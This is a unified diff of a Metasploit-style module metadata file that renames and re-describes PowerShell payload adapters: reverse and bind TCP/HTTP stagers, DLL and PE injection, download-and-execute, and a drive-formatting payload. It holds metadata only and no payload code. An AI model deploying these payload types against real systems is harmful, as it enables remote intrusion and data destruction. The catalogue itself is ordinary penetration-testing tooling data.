"payload_cmd/windows/powershell/dllinject/reverse_http": { - "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_http", + "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid": { + "name": "Powershell Exec, Reverse TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid", "aliases": [ ], @@ -180885,13 +190345,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm " + "jt ", + "skape ", + "hdm ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows wininet)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -180902,7 +190363,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_http", + "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -180911,9 +190372,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/reverse_http_proxy_pstore": { - "name": "Powershell Exec, Reverse HTTP Stager Proxy", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_http_proxy_pstore", + "payload_cmd/windows/powershell/patchupmeterpreter/bind_hidden_ipknock_tcp": { + "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_hidden_ipknock_tcp", "aliases": [ ], @@ -180922,13 +190383,15 @@ "type": "payload", "author": [ "Spencer McIntyre", + "skape ", + "jt ", + "hdm ", "sf ", - "hdm " + "Borja Merino " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -180939,7 +190402,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_http_proxy_pstore", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_hidden_ipknock_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -180948,9 +190411,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/reverse_ipv6_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (IPv6)", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_ipv6_tcp", + "payload_cmd/windows/powershell/patchupmeterpreter/bind_hidden_tcp": { + "name": "Powershell Exec, Hidden Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_hidden_tcp", "aliases": [ ], @@ -180959,14 +190422,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", + "skape ", + "jt ", "hdm ", - "skape " + "sf ", + "Borja Merino " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -180977,7 +190441,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_ipv6_tcp", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_hidden_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -180986,9 +190450,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/reverse_nonx_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_nonx_tcp", + "payload_cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp": { + "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp", "aliases": [ ], @@ -180997,13 +190461,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "vlad902 " + "skape ", + "jt ", + "hdm ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181014,7 +190479,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_nonx_tcp", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -181023,9 +190488,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/reverse_ord_tcp": { - "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_ord_tcp", + "payload_cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -181034,13 +190499,15 @@ "type": "payload", "author": [ "Spencer McIntyre", + "skape ", + "jt ", + "hdm ", "sf ", - "spoonm " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181051,7 +190518,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_ord_tcp", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -181060,9 +190527,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/reverse_tcp": { - "name": "Powershell Exec, Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp", + "payload_cmd/windows/powershell/patchupmeterpreter/bind_named_pipe": { + "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_named_pipe", "aliases": [ ], @@ -181071,14 +190538,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", - "skape " + "skape ", + "jt ", + "UserExistsError" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181089,7 +190555,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -181098,9 +190564,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/reverse_tcp_allports": { - "name": "Powershell Exec, Reverse All-Port TCP Stager", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_allports", + "payload_cmd/windows/powershell/patchupmeterpreter/bind_nonx_tcp": { + "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_nonx_tcp", "aliases": [ ], @@ -181109,14 +190575,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", - "skape " + "skape ", + "jt ", + "vlad902 " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181127,7 +190592,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp_allports", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -181136,9 +190601,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/reverse_tcp_dns": { - "name": "Powershell Exec, Reverse TCP Stager (DNS)", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_dns", + "payload_cmd/windows/powershell/patchupmeterpreter/bind_tcp": { + "name": "Powershell Exec, Bind TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_tcp", "aliases": [ ], @@ -181147,15 +190612,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", "skape ", - "RageLtMan" + "jt ", + "hdm ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181166,7 +190630,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp_dns", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -181175,9 +190639,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/reverse_tcp_rc4": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_rc4", + "payload_cmd/windows/powershell/patchupmeterpreter/bind_tcp_rc4": { + "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_tcp_rc4", "aliases": [ ], @@ -181186,16 +190650,16 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", "skape ", + "jt ", + "hdm ", + "sf ", "mihi", "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181206,7 +190670,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp_rc4", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, @@ -181215,9 +190679,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/reverse_tcp_rc4_dns": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_rc4_dns", + "payload_cmd/windows/powershell/patchupmeterpreter/bind_tcp_uuid": { + "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_tcp_uuid", "aliases": [ ], @@ -181226,16 +190690,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", "skape ", - "mihi", - "RageLtMan" + "jt ", + "hdm ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181246,18 +190708,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp_rc4_dns", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_tcp_uuid", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/reverse_tcp_uuid": { - "name": "Powershell Exec, Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_uuid", + "payload_cmd/windows/powershell/patchupmeterpreter/find_tag": { + "name": "Powershell Exec, Find Tag Ordinal Stager", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/find_tag", "aliases": [ ], @@ -181266,14 +190728,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", - "OJ Reeves" + "skape ", + "jt " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181284,7 +190744,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp_uuid", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/find_tag", "check": false, "post_auth": false, "default_credential": false, @@ -181293,9 +190753,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/reverse_winhttp": { - "name": "Powershell Exec, Windows Reverse HTTP Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_winhttp", + "payload_cmd/windows/powershell/patchupmeterpreter/reverse_ipv6_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_ipv6_tcp", "aliases": [ ], @@ -181304,14 +190764,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", + "skape ", + "jt ", "hdm ", - "Borja Merino " + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows winhttp)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181322,7 +190782,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_winhttp", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -181331,9 +190791,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dns_txt_query_exec": { - "name": "Powershell Exec, DNS TXT Record Payload Download and Execution", - "fullname": "payload/cmd/windows/powershell/dns_txt_query_exec", + "payload_cmd/windows/powershell/patchupmeterpreter/reverse_nonx_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_nonx_tcp", "aliases": [ ], @@ -181342,9 +190802,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "corelanc0d3r " + "skape ", + "jt ", + "vlad902 " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nPerforms a TXT query against a series of DNS record(s) and executes the returned payload", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", "references": [ ], @@ -181357,7 +190819,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dns_txt_query_exec", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -181366,9 +190828,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/download_exec": { - "name": "Powershell Exec, Windows Executable Download (http,https,ftp) and Execute", - "fullname": "payload/cmd/windows/powershell/download_exec", + "payload_cmd/windows/powershell/patchupmeterpreter/reverse_ord_tcp": { + "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_ord_tcp", "aliases": [ ], @@ -181377,9 +190839,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "corelanc0d3r " + "skape ", + "jt ", + "spoonm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nDownload an EXE from an HTTP(S)/FTP URL and execute it", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ ], @@ -181392,7 +190856,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/download_exec", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -181401,9 +190865,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/exec": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/exec", + "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp": { + "name": "Powershell Exec, Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp", "aliases": [ ], @@ -181412,10 +190876,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", + "skape ", + "jt ", + "hdm ", "sf " ], - "description": "Execute an x86 payload from a command via PowerShell", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ ], @@ -181428,7 +190894,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/exec", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -181437,24 +190903,25 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/format_all_drives": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/format_all_drives", + "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_allports": { + "name": "Powershell Exec, Reverse All-Port TCP Stager", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_allports", "aliases": [ ], - "rank": 0, + "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "Spencer McIntyre", - "Ashfaq Ansari ", - "Ruei-Min Jiang " + "skape ", + "jt ", + "hdm ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", "references": [ - "URL-http://hacksys.vfreaks.com/research/shellcode-of-death.html", - "URL-https://github.com/hacksysteam/ShellcodeOfDeath" + ], "platform": "Windows", "arch": "cmd", @@ -181465,21 +190932,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/format_all_drives", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp_allports", "check": false, "post_auth": false, "default_credential": false, "notes": { - "AKA": [ - "ShellcodeOfDeath" - ] }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/generic/debug_trap": { - "name": "Powershell Exec, Generic x86 Debug Trap", - "fullname": "payload/cmd/windows/powershell/generic/debug_trap", + "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_dns": { + "name": "Powershell Exec, Reverse TCP Stager (DNS)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_dns", "aliases": [ ], @@ -181488,13 +190952,17 @@ "type": "payload", "author": [ "Spencer McIntyre", - "robert " + "skape ", + "jt ", + "hdm ", + "sf ", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nGenerate a debug trap in the target process", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ ], - "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", + "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, @@ -181503,7 +190971,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/generic/debug_trap", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, @@ -181512,9 +190980,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/generic/tight_loop": { - "name": "Powershell Exec, Generic x86 Tight Loop", - "fullname": "payload/cmd/windows/powershell/generic/tight_loop", + "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4", "aliases": [ ], @@ -181523,13 +190991,18 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jduck " + "skape ", + "jt ", + "hdm ", + "sf ", + "mihi", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nGenerate a tight loop in the target process", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ ], - "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", + "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, @@ -181538,18 +191011,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/generic/tight_loop", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/loadlibrary": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/loadlibrary", + "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4_dns": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4_dns", "aliases": [ ], @@ -181558,10 +191031,14 @@ "type": "payload", "author": [ "Spencer McIntyre", + "skape ", + "jt ", + "hdm ", "sf ", - "hdm " + "mihi", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ ], @@ -181574,18 +191051,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/loadlibrary", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4_dns", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/messagebox": { - "name": "Powershell Exec, Windows MessageBox", - "fullname": "payload/cmd/windows/powershell/messagebox", + "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_uuid": { + "name": "Powershell Exec, Reverse TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_uuid", "aliases": [ ], @@ -181594,10 +191071,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "corelanc0d3r ", - "jduck " + "skape ", + "jt ", + "hdm ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawns a dialog via MessageBox using a customizable title, text & icon", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", "references": [ ], @@ -181610,7 +191089,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/messagebox", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -181619,9 +191098,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/bind_hidden_ipknock_tcp": { + "payload_cmd/windows/powershell/peinject/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", - "fullname": "payload/cmd/windows/powershell/meterpreter/bind_hidden_ipknock_tcp", + "fullname": "payload/cmd/windows/powershell/peinject/bind_hidden_ipknock_tcp", "aliases": [ ], @@ -181630,16 +191109,15 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", "sf ", - "OJ Reeves", - "hdm ", "Borja Merino " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181650,7 +191128,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/bind_hidden_ipknock_tcp", + "ref_name": "cmd/windows/powershell/peinject/bind_hidden_ipknock_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -181659,9 +191137,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/bind_hidden_tcp": { + "payload_cmd/windows/powershell/peinject/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/meterpreter/bind_hidden_tcp", + "fullname": "payload/cmd/windows/powershell/peinject/bind_hidden_tcp", "aliases": [ ], @@ -181670,16 +191148,15 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", "sf ", - "OJ Reeves", - "hdm ", "Borja Merino " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181690,7 +191167,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/bind_hidden_tcp", + "ref_name": "cmd/windows/powershell/peinject/bind_hidden_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -181699,9 +191176,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/bind_ipv6_tcp": { + "payload_cmd/windows/powershell/peinject/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/meterpreter/bind_ipv6_tcp", + "fullname": "payload/cmd/windows/powershell/peinject/bind_ipv6_tcp", "aliases": [ ], @@ -181710,15 +191187,14 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", - "sf ", - "OJ Reeves", - "hdm " + "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", "references": [ - 